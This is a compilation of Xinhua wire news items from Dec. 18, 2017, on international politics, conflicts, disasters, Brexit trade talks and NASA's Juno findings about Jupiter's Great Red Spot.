Sirisena also said that a special delegation headed by Plantation Industries Minister Navin Dissanayake and Industry and Commerce Minister Rishad Bathiudeen will leave for Russia to discuss the issue.

Sirisena also said he was confident that Russia, who was a long standing friend of Sri Lanka, would respond positively to the request to lift the temporary ban on tea exports.

According to media reports, the Russian agricultural safety watchdog placed temporary restrictions on imports of all agricultural products from Sri Lanka, including tea, from Dec. 18, after it found an insect, known as the Khapra beetle, in the packaging of one consignment of tea from Sri Lanka.

Russia was the second largest tea market for Sri Lanka in 2016 after Iran. Russia imported 143 million U.S. dollars worth of Ceylon Tea, which was 11.3 percent of Sri Lanka's tea exports last year.
Source: Xinhua| 2017-12-19 01:52:34|Editor: yan

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ANKARA, Dec. 18 (Xinhua) -- Turkey will continue its open-door refugee policy, despite the lack of sufficient support from European countries, Turkish President Recep Tayyip Erdogan said on Monday.

Speaking at a meeting in Ankara to mark the International Migrants Day, Erdogan said "Turkey walks tall when it comes to the issue of migrants," while some developed countries "keep their heads down."

Erdogan criticized the delay of 6-billion-euros aid package the EU promised to Turkey last year, saying the amount Turkey received so far is just 900 million euros

In March 2016, Turkey and the EU signed a refugee deal that aimed to discourage irregular migration through the Aegean Sea by implementing stricter measures against human traffickers and improving the conditions of Turkey's 3 million Syrian refugees.

Erdogan also emphasized that Turkey has hosted the largest number of Syrian refugees worldwide, adding that Turkish government has spent 30 billion U.S. dollars for refugees over the past seven years.

According to statistics released by the Turkish Interior Ministry, there are over 3.3 million Syrians registered with biometric IDs in Turkey, of whom about 227,000 are living in refugee camps, while the rest are living across the country.
Source: Xinhua| 2017-12-19 02:37:56|Editor: yan

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TIRANA, Dec. 18 (Xinhua) -- Opposition protests makes Albania "lose some points in terms of its EU integration drive," Albanian Prime Minister Edi Rama told reporters Monday.

Rama strongly condemned protests inside and outside parliament, including the throwing of smoke bombs in parliament by opposition lawmakers.

The actions were triggered after the Albanian parliament approved the candidacy of Socialist party nominee Arta Marku as the country's interim general prosecutor.

The opposition said the new general prosecutor was elected in an unconstitutional manner and accused Rama of trying to place his stooges in power.

Rama reacted saying the prosecutor was appointed legally, based on the constitution and confirmed by the missions of the United States and EU, who have been assisting in the process of judiciary reform.

"We want dialogue with the opposition, not only to respect the constitution but also to fulfill the judiciary reform obligations together with the opposition. We are at an important moment for Albania," Rama said.

On the other hand, Democratic Party leader Lulzim Basha said Marku's nomination was a constitutional coup by the majority, and vowed more protests.
Sebastian Kurz (L), leader of the People's Party, and Heinz-Christian Strache, leader of the Freedom Party, attend a press conference in Vienna, capital of Austria, Dec. 16, 2017. (Xinhua/Pan Xu)

VIENNA, Dec. 18 (Xinhua) -- Austria's new coalition government was sworn in by President Alexander Van der Bellen at the presidential residence of Hofburg Palace on Monday, amidst protests concerning its right-wing leanings.

The leader of the conservative People's Party (OVP), the 31-year-old Sebastian Kurz, is now chancellor of the country, and the youngest leader in Europe.

Coalition partner, the far-right Freedom Party (FPO), has seen a return to power, following protracted negotiations with the OVP after the Oct. 15 election. Party leader Heinz-Christian Strache is new vice-chancellor.

In an address to mark the occasion, Van der Bellen said the coalition negotiations had been conducted with mutual respect.

He noted the importance of basic and human rights for the government going forward, along with consideration for minorities and those less well-off in society, as well as a clear recognition of Austria as part of the European Union.

Many protest groups had assembled at the Heldenplatz public space just in front of the Hofburg. Police estimated the number at around 6,000.

They denounced the right-wing nature of the coalition, waving placards with slogans such as "no Nazi pigs", and "death to fascism".

Van der Bellen later acknowledged differing points of view on the new government, ranging from positive or indifferent, to negative. In a democracy these views are permitted to exist, he said.
Source: Xinhua| 2017-12-19 03:28:07|Editor: yan

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KIEV, Dec. 18 (Xinhua) -- At least four civilians were wounded on Monday during artillery shelling in the village of Novoluganske in Ukraine's conflict-hit eastern Donetsk region, authorities said.

Pavlo Zhebrivsky, the Kiev-appointed head of Donetsk regional military-civilian administration, said on Facebook that the village was attacked by Grad rocket launchers at about 5 p.m. local time (GMT 1500).

According to him, at least 15 rocket shells hit eight private houses and a kindergarten, injuring two women and two men.

One person, who has received very serious injuries, is undergoing surgery, Zhebrivsky said.

He accused pro-independence rebels of launching the offensive against the village, which marked a first major attack against the residential areas in the recent weeks. The insurgent leadership has not commented on the incident yet.

Novoluganske village, which lies near the contact line of fighting in eastern Ukraine, is controlled by the Ukrainian government troops.

According to the latest UN estimates, over 2,500 civilians were killed and about 9,000 others injured in eastern Ukraine since the start of the conflict in April 2014.
Source: Xinhua| 2017-12-19 03:28:07|Editor: yan

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KAMPALA, Dec. 18 (Xinhua) -- The Speaker of the Ugandan Parliament Rebecca Kadaga has suspended six opposition legislators over their conduct during the debate on the vote to remove the presidential age limit.

Kadaga suspended Opposition Chief Whip, Ibrahim Ssemujju, his colleagues Mubarak Munyagwa, Allan Ssewanyana, Anthony Akol, David Odur and Gerald Karuhanga for alleged heckling, disruptions and protesting to prevent the tabling of the Constitutional amendment bill to amend Article 102 (b) to remove the presidential age limit of 75 years.

"These members have been suspended and will not attend the next plenary sittings," said Kadaga.

Rachael Magyezi, the ruling National Resistance Movement (NRM) legislator and Jacob Oboth, chairperson of the Legal and Parliamentary Affairs committee on Monday moved and tabled the constitutional amendment bill to allow legislators to debate and vote on the bill amidst high tensions and heavy security.

The legislators are expected to debate and complete the voting on the bill before they break off for the festive holiday recess this week.

Opposition and campaigners are opposed to the bill, arguing that the move by the ruling NRM is intended to allow incumbent President Yoweri Museveni, now 73, to run in the 2021 elections when he will be over 75.

NRM legislators on the parliamentary legal committee have recommended a constitutional amendment to scrap the 75-year-old age limit for presidents.
Source: Xinhua| 2017-12-19 03:38:09|Editor: yan

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DUBAI, Dec. 18 (Xinhua) -- A senior official of the United Arab Emirates (UAE) blasted on Monday Iran for performing "expansionist Arab adventures" in Syria and Yemen.

In three tweets on his account on Twitter, Anwar Gargash, the UAE minister of state for foreign affairs, said Iran's foreign policy in the Middle East is based on three pillars with an aim to dominate the region.

They include defending Iran's missile program which is not defensive, justifying an extended military presence in Syria, and attempting to cover the Houthi rebels in Yemen "politically," Gargash said.

The UAE minister slammed Tehran for its "expansionist adventures in the Arab world," adding that the Islamic Republic's control based on violence and weapons "lacks legitimacy."

The UAE and Saudi Arabia accuse Iran of providing ballistic missiles and related operational training for the Shiite Houthi rebels in Yemen.

The Houthis have been fighting a Saudi-led Arab coalition which has intervened militarily in the civil war in Yemen since March 2015, in a bid to restore Yemen's President Abd Rabbu Mansour Hadi who was ousted by the Houthis in September 2014.
Source: Xinhua| 2017-12-19 03:38:09|Editor: yan

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KIEV, Dec. 18 (Xinhua) -- The Ukrainian Foreign Ministry said on Monday it was "outraged" by Russia's withdrawal from the Joint Center for Control and Coordination of the Ceasefire (JCCC) in Ukraine's eastern conflict-hit region of Donbas.

"We regard this unprecedented step of Russia as another provocation, which essentially undermines the Minsk accords," the Ukrainian Foreign Ministry said in a statement on its website.

Despite Russia's withdrawal, the Ukrainian side of the JCCC will continue its activities in a regular mode and will cooperate with the special monitoring mission of the Organization for Security and Co-operation in Europe, which is deployed in eastern Ukraine, the statement said.

The JCCC, consisting of Russian and Ukrainian officers, was set up in September 2014 by an agreement between Russia and Ukraine to assist the implementation of the Minsk agreements on a settlement in Ukraine.

Earlier on Monday, the Russian Foreign Ministry said the Russian military will abandon the JCCC due to Kiev's "obstruction" to their activities.

The conflict between government troops and pro-independence insurgents started in Ukraine's eastern Donetsk and Lugansk regions, together known as Donbas, in April 2014.

The Minsk agreements, reached in September 2014 and February 2015 respectively, envisage a ceasefire, a withdrawal of heavy weaponry from the contact line, a prisoner exchange and local elections in Donbas, among other measures.
Palestinian Authority President Mahmud Abbas sits in front of a picture of the Dome of the Rock mosque in Jerusalem's Old City during a meeting of the Palestinian leadership in the West Bank city of Ramallah on December 18, 2017. (AFP PHOTO)

RAMALLAH, Dec. 18 (Xinhua) -- Palestinian President Mahmoud Abbas said Monday that the Palestinians will return to the UN to seek full membership for the state of Palestine, in response to the U.S. decision on Jerusalem.

In opening remarks to the Palestinian leadership meeting Monday evening, Abbas once again rejected the U.S. mediation of the Israeli-Palestinian peace process, while announcing a series of counter measures against U.S. President Donald Trump's recognition of Jerusalem as Israel's capital.

"We will not accept the U.S. as a mediator in the peace process and this American position must be met with several measures," he said, denouncing the U.S. for adopting "a Zionist approach."

"We will take legal, political and diplomatic actions against Trump's announcement of Jerusalem," Abbas said, highlighting that a special committee will be formed to look into relevant UN resolutions and formulate new ones.

Abbas also signed 22 agreements and international treaties to strengthen the legal status of the state of Palestine on a global scale.

Abbas said that the Palestinian leadership is returning to the UN General Assembly, after the U.S. vetoed Monday a resolution at the UN Security Council to reject Trump's decision on Jerusalem.

The U.S. vetoed the draft resolution, though 14 other members of the Security Council voted in favor.

Palestinian Minister of Foreign Affairs and Expatriates Riad Malki said that the Palestinian Authority will resort to the UN General Assembly with a new draft resolution against the U.S. move under the "united for peace" article.

Abbas slammed the U.S. veto for undermining the international community and international law.

He reiterated that he wants East Jerusalem as the capital of the state of Palestine, pledging to preserve it as an open city for all religions.

Trump, breaking away from decades of U.S. policy of neutrality, announced on Dec. 6 to recognize Jerusalem as Israel's capital.

This move has enraged the Palestinians and other Muslims across the world. At least six Palestinians have been killed in violent clashes in the past weeks with Israeli security forces during protests against the U.S. move.

Israel took over East Jerusalem from Jordan in the 1967 war, and declared the whole city of Jerusalem as Israel's eternal capital. But the Palestinians insist East Jerusalem should be the capital of their future independent state.
Source: Xinhua| 2017-12-19 04:23:20|Editor: Chengcheng

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Cyril Ramaphosa celebrates after the announcement of results at South Africa's ruling party African National Congress' conference in Johannesburg, South Africa, on Dec. 18, 2017. South Africa's ruling party African National Congress (ANC) elected Cyril Ramaphosa on Monday to be the party's president for the next five years. (Xinhua/Dave Naicker)

JOHANNESBURG, Dec. 18 (Xinhua) -- South Africa's ruling party African National Congress (ANC) elected Cyril Ramaphosa on Monday to be the party's president for the next five years.

Ramaphosa who is the party and country's deputy president had a tight contest with the former AU Commission chairperson, Nkosazan Dlamini-Zuma for the ANC president position. The elections were conducted by EleXions Agency.

EleXions Agency Director Bontle Mpakanyane, when announcing the results said, "Nkosazana Dlamini Zuma got 2,261 and Cyril Ramaphosa got 2,440. I therefore declare Cyril Ramaphosa as president of the African National Congress."

Ramaphosa's election into ANC president was welcomed by some experts who believe the new leader will inspire confidence of the markets and investors.

"We expect economic reforms under Ramaphosa, boost for business confidence and creditable leadership. Under Ramphosa's administration we expect investor and business confidence to increase," said Peter Draper, managing director of Tutwa Consulting.

Ramaphosa will also fight to remove corruption in the country, according to Draper.

During his addresses before election, Ramaphosa spoke against state capture and corruption. He called for the country to quickly address the state capture allegations by appointing the Judiciary Commission to investigate it and arrest those involved in corruption. He also called for the recovery of the money lost in the state capture and corruption to be used for developmental purposes.

"We expect the markets to welcome his win and also the rand to respond positively to that by strengthening in value. We also expect Ramaphosa to continue with the Pan Africanist foreign policy, continue dealing with China, BRICS and the West. We expect him to have a friendly stance on his foreign policy. He has a good stature locally and internationally." Draper said.

Draper said Ramaphosa's experience in the business makes him acceptable and likely to be acceptable by the business community and investors.

The Minister of Small Business Development, Lindiwe Zulu told Xinhua that the elected leaders should work to unite and grow the party.

"Unity is not an option for any cadre, it's a must. It's not about an individual but about an organization which translate to the people of South Africa. We cannot afford to have ANC going down," Zulu said.

According to the election results, the Mpumalanga premier, David Mabuza was elected the ANC deputy president after beating the Human Settlements Minister, Lindiwe Sisulu. Paul Mashatile becomes the party's treasurer general after beating the International Relations and Cooperation Minister, Maite Nkoana-Mashabane.

The former ANC General Secretary Gwede Mantashe beat the Arts and culture Minister Nathi Mthethwa to become the national party chairperson, while Ace Magashule was elected the party general secretary after beating Senzo Mchunu. Jessie Duarte who was the party deputy general secretary was retained in the same post after beating Zingiswa Losi.

The ANC electoral commission chairperson, Sindiso Mfenyana thanked the outgoing ANC leaders who served in the party leadership.

Baleka Mbete, outgoing ANC chairperson said, "I would like to thank the conference for disappointing those who thought this conference won't come together. This conference has been a success even though it is not yet finished. It was disciplined. I ask you to cooperate with the new determined and winning leadership as we move towards 2019."

The country will hold the presidential and parliamentary elections in 2019.
Source: Xinhua| 2017-12-19 04:48:24|Editor: yan

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BEIRUT, Dec. 18 (Xinhua) -- Lebanese President Michel Aoun on Monday condemned the Israeli violations of United Nations resolutions, referring to Israel's attempts to build a wall near the Blue Line.

Aoun made the remarks when meeting UN Special Coordinator for Lebanon Pernille Dahler Kardel, according to the presidential media office.

Aoun assured Kardel that Lebanon is committed to UN Security Council resolutions, particularly Resolution 1701, but said Israel has violated it hundreds of times, the office said in a statement.

"Lebanon has always been in a defense position against Israel," the statement quoted Aoun as saying. Aoun referred to Israel's recent preparations to build a wall along the eastern and western sectors of the Blue Line.

Talking about U.S. decision to recognize Jerusalem as the capital of Israel, the president said U.S. alone is not allowed to annul any UN Security Council decisions.
An illuminated Christmas tree is seen outside Ozdilek mall at bussiness and financial district of Levent, which comprises of leading Turkish companies' headquarters and popular shopping malls, in Istanbul, Turkey, December 2, 2017. (REUTERS PHOTO)

by Burak Akinci

ANKARA, Dec. 18 (Xinhua) -- Shopping malls in Turkey's big cities usually decorate the shops with Christmas trees to attract customers in December, but the Christmas holiday is increasingly marred by conservative Muslims who argue that celebrating a Christian festival is "contrary to Islamic culture."

In Turkey, a secular country with an overwhelmingly Muslim population, its social media is often flooded with complaints in December by internet users bemoaning that the observance of Christmas and the New Year's eve is "a bad influence" on the country's culture.

To illustrate the pressure from conservative Muslims, the Turkish Department of Religious Affairs has said that celebrating New Year's eve "alienates" Muslims from their culture.

ANTI-CHRISTMAS DEMONSTRATIONS

Every year, young Muslim activists usually stage demonstrations before Christmas in major Turkish cities such as Istanbul and Ankara, holding banners proclaiming "A Muslim does not celebrate Christmas" or "Be a Muslim and celebrate only Muslim feasts."

Last year, in parts of Istanbul, Santa Claus puppets or people dressed in costumes in front of shopping centers representing the symbol of Christmas, were attacked by protesters.

A member of the conservative Saadet (Felicity) party contacted by Xinhua said that the Muslims are "worried about creeping Western influence into Turkish society, corrupting youngsters."

"This is a Muslim country. When young people are watching American shows on TV, they see Christmas trees, presents and all sorts of ways that are not within our tradition," he said on condition of anonymity.

But some secular Turks enjoy the Christmas festival despite the opposition from the conservative Muslims.

One of them is Ihsan Derme, an engineer who took his wife and 7-year-old daughter to visit the Panora shopping mall in Ankara, where a giant decorated Christmas tree is at display.

"Why shouldn't we celebrate, it's fun and children like it a lot. You don't have to believe in a religion to celebrate Christmas. Feeling the festive atmosphere and exchanging presents is something that we do at home. It's a way to improve and tighten family bounds," Derme told Xinhua.

He denounced those who try to incite a "clash of civilizations" by sowing hatred in a country which is historically located in a territory that is home to different civilizations and religions.

BLACK FRIDAY SHOPPING

Some devout Muslims also are against the Black Friday promotions launched at many Turkish shops, mocking the Thanksgiving holiday in the U.S.

Three men have provoked a social media debate after attacking a shop worker in Istanbul because her shop was running the Black Friday promotion.

Friday is a day of prayer in Islam and conservative Muslims feel offended by the term "Black" used to describe this promotional stint launched in the 1980's in the U.S.

"You cannot call the Muslim holy day 'Black'," one angry Turkish man shouts in a video who went viral on the Internet.

"It's immoral, it's a disgrace," he said.

Thousands of Turks took to social media this year to condemn the Black Friday bargains, using hashtags such as "Friday is blessed" and denouncing "heretics" who brought the ominous term into use.

Though Turkey is officially a secular state, 99 percent of the population identify themselves as Muslims, the majority of them are either Sunni or Alevi.

Before the creation of the republic in 1923, there was a large population of Christians on the Anatolian peninsula, comprising of Assyrians, Armenians and Greeks.

Today, there are only around 150,000 Christians living in Turkey, the largest number of which is believed to be Armenian Apostolic.

The Christians settled down in Anatolia centuries before Muslim conquered the region.

ANCIENT TURKS DECORATED HOMES WITH PINE TREES

Some of the traditions rejected today by conservative Muslims are in fact Turkish, historians have argued.

Muazzez Ilmiye Cig, a world-renowned specialist of the Sumerian civilization (4.000 B.C in the Mesopotamia region) said that ancient Turks, who were shamans at the time before adopting Islam, used to decorate their homes with pine trees to celebrate the New Year solstice on Dec. 22, the longest day of the year.

Families used to wear new clothes and visit each other or their elders, explained the historian, who claims that this ritual reached Europe in further medial times.

And there is also another good reason to perpetuate this ritual in Turkey.

Santa Claus or Saint Nicholas, who is the symbol of Christmas, lived and died in southern Turkey in the fourth century A.D and researchers just recently claimed to have found his grave under an ancient church near his birthplace of Demre, in Antalya province.

Santa Claus was morphed from the third and fourth-century Asia Minor bishop Saint Nicholas to become the generous figure associated with Christmas.

Nowadays, Turkey's small Christian minority and many Turks still celebrate this ancient tradition in a spirit of cooperation and understanding. The Turkish state has also in the past years renovated many Orthodox and Catholic churches across the country.
Source: Xinhua| 2017-12-19 06:18:40|Editor: yan

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UNITED NATIONS, Dec. 18 (Xinhua) -- UN Secretary-General Antonio Guterres on Monday strongly condemned a terrorist attack on a church in Quetta, Pakistan, that caused multiple deaths.

In a statement issued through his spokesman Stephane Dujarric, the UN chief extended his condolences to the families of the victims and wished speedy recovery to those injured. He called for the perpetrators of the attack to be brought to justice, said the statement.

A suicide bomber detonated his explosives at the gate of the Bethel Memorial Methodist church in the southwestern Pakistani city of Quetta, and a second attacker fired upon Sunday worshippers, before being killed by security forces. At least eight people were killed and dozens of others were wounded in the attack.

The Islamic State terrorist group has claimed responsibility for the attack.
Source: Xinhua| 2017-12-19 06:23:41|Editor: Chengcheng

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SAN FRANCISCO, Dec. 18 (Xinhua) -- At least six people were killed and 22 others taken to three hospitals after an Amtrak train derailed near Tacoma in the U.S. Washington state Monday, local media reported.

The Washington State Patrol said altogether 13 of the 14 total cars of Amtrak train 501 derailed south of Seattle in Washington state on the U.S. west coast.

At least one rail car fell off a bridge over a traffic-clogged highway, while five motor vehicles and two semis were hit on freeway below.

Despite the lack of accurate official account of deaths and injuries, MultiCare Health, a non-profit network of hospitals and clinics, said 22 people were taken to three hospitals for treatment of injuries from the derailment of the AMTRAK train near Tacoma in Washington state.

"Victims from the Amtrak train that derailed in DuPont are at 3 of our hospitals," it tweeted earlier.

The Pierce County Sheriff's Department of Washington state said it has not released any numbers on fatalities in the Amtrak train derailment at the moment.

The Amtrak train running between Tacoma and Portland, Oregon derailed and overturned in the Pierce County.

The National Railroad Passenger Corporation, or Amtrack, said in a statement that 78 passengers and five crew members were on board the train at the time of the crash.

Amtrak said in an earlier tweet that Amtrak service south of Seattle is temporarily suspended, but service from Seattle to points north and east is continuing to operate.

The U.S. National Transportation Safety Board said it's too early to know if the crash was due to high speed.

Bella Dinh-Zarr, spokesperson for NTSB, said a team of 20 investigators will be at the scene later Monday evening.

U.S. President Donald Trump also offered "thoughts and prayers" on Monday for those involved in a train derailment in Washington state.

Founded in 1971 and headquartered in Union Station in Washington, D.C., Amtrak is a passenger railroad service that provides medium- and long-distance intercity service in the contiguous United States.

Amtrak serves more than 500 destinations in 46 U.S. states and three Canadian provinces with more than 300 trains running over 21,300 miles (34,000 km) of track every day.

In fiscal year 2016, the company, which employs more than 20,000 people, served 31.3 million passengers and earned about 3.2 billion U.S. dollars in revenue.

Nearly two-thirds of its passengers come from the 10 largst metropolitan areas.
Source: Xinhua| 2017-12-19 06:23:43|Editor: Chengcheng

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LONDON, Dec. 18 (Xinhua) -- Brexit talks between the European Union (EU) and Britain have moved to a new phase that will see trade discussed for the first time.

There are several options for a trade deal that Britain could present to the EU, according to a report issued Monday by the Institute for Government (IFG), a London think-tank with close ties to the British government structure.

About 43 percent of British exports in goods and services went to other countries in the EU in 2016, which was about 240 billion pounds (about 321.2 billion U.S. dollars) out of the total export income of 550 billion pounds, according to Office of National Statistics (ONS) figures.

EU goods and services make up 54 percent of British imports, making it a significant export market for the EU, which it would want to preserve.

European Commission figures for 2016 showed that Britain was the second largest market for EU goods exports, slightly behind the United States.

This makes a trade deal a desirable goal for both parties.

THREE TYPES OF DEAL

The IFG identified three possible deals -- the Canada Deal, the Norway Deal, and the Reverse Ukrainian Deal, which could be used as templates for a future EU-Britain deal.

In its report the IFG cautioned that there was no precedent that offered an immediate solution and that adopting any of these models would need detailed and swift negotiation between Britain and the EU.

"The EU sees it as down to Britain to put forward what it wants. That doesn't need to be detailed or absolute," Joe Owen, one of the IFG report authors told Xinhua on Monday afternoon.

"But it does need to sketch out in much more detail than has already been done what this relationship will look like in Britain's eyes."

Owen identified three plans in the report titled "Trade after Brexit":

An EU-Britain Economic Area, known as Bespoke Norway deal: Britain broadly accepts Single Market rules and parallel institutions, but negotiates a new arrangement on freedom of movement and greater input on devising regulation, though it would not have a final say.

An EU-Britain Deep and Comprehensive Free Trade Area, known as Reverse Ukraine: This would allow participation in the Single Market in sectors which remain aligned and subject to oversight. Non-harmonised sectors would face barriers.

An EU-UK Comprehensive Free Trade Agreement, known as Canada plus: This would be modelled on the EU-Canada Comprehensive Economic and Trade Agreement (CETA), but with the aim of agreeing better access for services and provisions for enhanced regulatory co-operation, to try to minimize trade barriers where possible.

The IFG report noted that Britain had said it did not want the "stark and binary choice" between the Norway and Canada models, and wanted a bespoke free trade agreement.

British Prime Minister Theresa May had rejected the Norway model on the grounds that becoming a rule taker with no formal vote would be politically unsaleable, said Owen.

The Canada was also not a model that could be adopted, because it did not cover much of the services sector, an area which makes up 45 percent of British exports.

There would need to be concessions from both parties to reach an agreement, Owen said, with the EU sticking to its principles of no access to the single market without agreement on rules and regulations and on who made and implemented those rules.

"If you look at precedent and trade deals the EU has signed, there is a consistent trend that for more access to the single market and the EU market the more you have to accept an integration within their regulatory model and an acceptance of supranational institutions," said Owen. "These are a prerequisite for access."

"If you refuse to have those things, like supranational institutions, regulatory alignment and harmonization these are the keys that unlock the single market, and without them access is just not possible," Owen added.

Both side are under pressure from the timetable created by Prime Minister May when she formally began the Brexit process at the end of March, known as the Article 50 process.

Article 50 fixed a two-year time limit for talks to reach a deal, meaning Britain will leave the EU at the end of March 2019.

"The UK and EU need to agree terms on how the UK exits. The withdrawal agreement, which has been the focus of talks so far -- money, and the Irish border," said Owen.

"The other time pressure is that the UK government wants to have a future relationship agreed by the time we leave the EU in March 2019. That will inform what the relationship will look like, which allows both sides to implement what is required."

UNIFIED EU IN TALKS

The EU has been unified to date in talks with Britain, and its members have been consistent over the Irish border issue, over citizens' rights and over the amount of money Britain needs to pay in its "divorce" settlement.

With the talks now moving into a new phase, the landscape for discussion becomes more complex.

Owen said: "The EU would like access to be as free and frictionless after Brexit as possible, but they will not allow Brexit to challenge what they see as fundamentals of the EU project. They have spent decades building the single market."

The EU had been firm in agreements with other countries that there are four indivisible freedoms around goods, services, capital and people, said Owen.

For the EU, it's a case of either being in the club, or outside it, in which case Britain would trade like other outside countries.

"The EU priority will be what they call 'maintaining the integrity of the single market'," said Owen.

"You can infer from that that it means if you want the benefits of the single market you need to accept the commitments that come with that. That will be their priority."

FINANCIAL SERVICES KEY ITEM

Britain and especially the City of London, which is the heart of the financial sector, is recognized as a global hub for finance, with deep pools of liquidity and a depth of expertize.

Owen said: "There is an interesting question around what happens to the City of London and financial services. This is a particularly strong area for Britain.

"Services is the area where Britain has a trade surplus with the EU and where it gets the most economic benefit from the relationship."

Financial organizations, for example the complex global insurance market known as Lloyd's of London, have chosen to open branch offices within other parts of the EU as result of Brexit.

In the case of Lloyd's the office is in Brussels, but other institutions and banks have set in motion to move some jobs to Amsterdam, Dublin, Paris and Frankfurt.

The number of job losses for the City of London is in the low thousands, according to figures from the Financial Times, out of a financial sector workforce of just under 400,000 workers employed in about 15,000 firms, according to a Center For Cities report in 2015.

The jobs total is small, but still desirable for cities within the EU.

Owen said: "The EU recognizes that Britain and London is a global player when it comes to services and financial services.

"Having such a strong player within the EU's sphere of influence is in the EU's interests. So, the closer Britain stays to the EU the closer London stays to the EU's sphere of influence, which is of benefit."

"There will be member states who think that breaking up London a bit and getting some of the action will be beneficial."

Owen said the EU recognizes the importance of the City of London as a financial center but would not want to damage the integrity of the single market.

"There are a few conflicting interests around the City and financial services, which is why the next phase of talks is going to be so interesting because there will be different interests across Europe when it comes to what it wants its future relationship to Britain to be."

European nations could be more divided over this in the coming talks than they have been so far, said Owen.

"Europe has been remarkably unified in its approach to date. They have had a very unified position on citizens' rights, on Ireland, and on the money but it is yet to be seen if there are slightly different interests when it comes to the much broader, more expansive future relationship talks." (1 pound = 1.34 U.S. dollars)
Source: Xinhua| 2017-12-19 06:28:44|Editor: yan

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CAIRO, Dec. 18 (Xinhua) -- Egyptian Foreign Ministry on Monday expressed regret at the UN Security Council's failure to pass the Egypt-drafted resolution on Jerusalem due to the U.S. veto.

Egyptian Foreign Ministry spokesman Ahmed Abu Zeid said that the resolution reflects the international community's rejection to U.S. President Donald Trump's decision that aims at changing the status of Jerusalem.

Trump, breaking away from decades-old U.S. policy of neutrality on the issue, announced on Dec. 6 to recognize Jerusalem as Israel's capital and ordered to move the U.S. embassy to the disputed holy city.

This has infuriated the Palestinians and Arab countries, which have strongly protested against the U.S. move. The Palestinians want East Jerusalem, now occupied by Israel, as the capital of their future independent state.

Egypt filed a draft resolution to the UN Security Council urging the U.S. to rescind Trump's declaration of Jerusalem as the capital of Israel.

The U.S. on Monday vetoed the resolution, which was approved by 14 other members of the council, in reflection of the depth of global opposition to Trump's action, Zeid said.

He added that the Arab group in the UN will convene later to assess the situation and determine the next step in order to defend the status of Jerusalem.
A "mobster" is controlled during a joint anti-terrorist exercise held by China and Kyrgyzstan frontier forces in Kizilsu Kirgiz Prefecture, northwest China's Xinjiang Uygur Autonomous Region, June 27, 2017. (Xinhua/Wang Fei)

BISHKEK, Dec. 18 (Xinhua) -- Eleven active members of the Hizb ut-Tahrir extremist group have been detained in Kyrgyzstan, the press service of the Interior Ministry reported on Monday.

The detainees had lived in the capital city of Bishkek, Chui and Issyk-Kul oblasts. Prohibited literature of extremist content was found during the search of their houses.

In a joint operation by the Interior Ministry and the State Committee for National Security, "one of the leaders of the Hizb ut-Tahrir religious extremist organization, born in 1982, a native of southern Osh oblast, was detained," the report said.

According to the report, more investigations are being carried out. A criminal case was initiated on acquisition, production, storage, distribution and transfer of extremist materials, as well as deliberate use of symbols or attributes of extremist or terrorist organizations.

Hizb ut-Tahrir, an extremist organization seeking to establish the Islamic Caliphate as an Islamic "superstate", is banned throughout Central Asia.
Source: Xinhua| 2017-12-19 06:53:47|Editor: Chengcheng

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OTTAWA, Dec. 18 (Xinhua) -- Canada and United Arab Emirates (UAE) signed a defense cooperation arrangement here Monday, according to Canadian National Defence Ministry.

The Canada-UAE Defense Cooperation Arrangement was signed by Canadian Defense Minister Harjit S. Sajjan and Mohammed Ahmed Al Bowardi, UAE Minister of State for Defense Affairs.

The arrangement, which represents the renewal and strengthening of Canada and the UAE's bilateral defense relationship, is expected to advance shared interests, including increased personnel training opportunities, defense engagement, and the promotion of regional stability.

Both Canada and the United Arab Emirates (UAE) share a mutual commitment to regional security, including countering terrorism and violent extremism in the Middle East.

Canada and the UAE have an established history of military cooperation and have served together in joint operations. This includes serving in the International Security Assistance Force (ISAF) in Afghanistan, formed under U.N. Security Council Resolution 1386 of 20 December 2001 to maintain security in and around Kabul, and more recently as part of the Global Coalition against Daesh in Iraq and Syria.
Ukrainian President Petro Poroshenko (2nd L) speaks during a meeting with U.S. Secretary of Defense James Mattis (not in the picture) at the Pentagon in Washington D.C., the United States, on June 20, 2017. (Xinhua/Ting Shen)

KIEV, Dec. 18 (Xinhua) -- The possible suspension of aid from the International Monetary Fund (IMF) is a main threat to Ukraine's financial stability in the coming years, the country's central bank said in a report on Monday.

"Without support from international institutions, a successful roll-over of the more than 20 billion U.S. dollars of sovereign and state-guaranteed debt maturing in 2018-2020 is unlikely," the National Bank of Ukraine (NBU) said in its biannual Financial Stability Report.

To maintain its economy afloat, Ukraine should start negotiations with the IMF to launch a new cooperation program before the current one expires, the report said.

Among other risks to financial stability, the NBU listed slow pace of structural economic reforms, low efficiency of state-owned banks, and its weak legal system.

Under the cooperation program launched in 2015, the East European country has got about 8.7 billion dollars from the global lender, which helped its economy avoid collapse amid the crisis.

Ukraine is counting on receiving an additional 3.5 billion dollars from the IMF before the program expires in 2019.

To continue the aid, the global lender requires Kiev to deepen economic reforms and enhance its fight against corruption.
Source: Xinhua| 2017-12-19 07:18:51|Editor: Chengcheng

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LOS ANGELES, Dec. 18 (Xinhua) -- New data, collected by U.S. National Aeronautics and Space Administration (NASA)'s Juno spacecraft during its first pass over Jupiter's Great Red Spot in July 2017, reveals that the solar system's most famous storm extends far below the clouds.

One of the most basic questions about Jupiter's iconic feature is: how deep are the roots?

"Juno data indicate that the solar system's most famous storm is almost one-and-a-half Earths wide, and has roots that penetrate about 200 miles (300 kilometers) into the planet's atmosphere," Juno principal investigator Scott Bolton of the Southwest Research Institute in San Antonio was quoted as saying in a news release.

Jupiter's Great Red Spot is a giant oval of crimson-colored clouds in Jupiter's southern hemisphere that race counterclockwise around the oval's perimeter with wind speeds greater than any storm on Earth. Measuring 16,000 kilometers in width as of April 3, 2017, the Great Red Spot is 1.3 times as wide as Earth.

Juno found that the Great Red Spot's roots go "50 to 100 times deeper than Earth's oceans" and are warmer at the base than they are at the top, according to Juno co-investigator Andy Ingersoll.

"Winds are associated with differences in temperature, and the warmth of the spot's base explains the ferocious winds we see at the top of the atmosphere," said Ingersoll.

The science instrument responsible for this in-depth revelation was Juno's Microwave Radiometer (MWR), which has the "unique capability to peer deep below Jupiter's clouds," said Michael Janssen, Juno co-investigator from NASA's Jet Propulsion Laboratory (JPL) in Pasadena, California. "It is proving to be an excellent instrument to help us get to the bottom of what makes the Great Red Spot so great."

The findings were announced recently at the annual American Geophysical Union meeting in New Orleans.

"Also detected: A new radiation zone, just above the gas giant's atmosphere, near the equator," the mission team tweeted.

The zone, identified by the Jupiter Energetic Particle Detector Instrument (JEDI) investigation, includes energetic hydrogen, oxygen and sulfur ions moving at almost light speed.

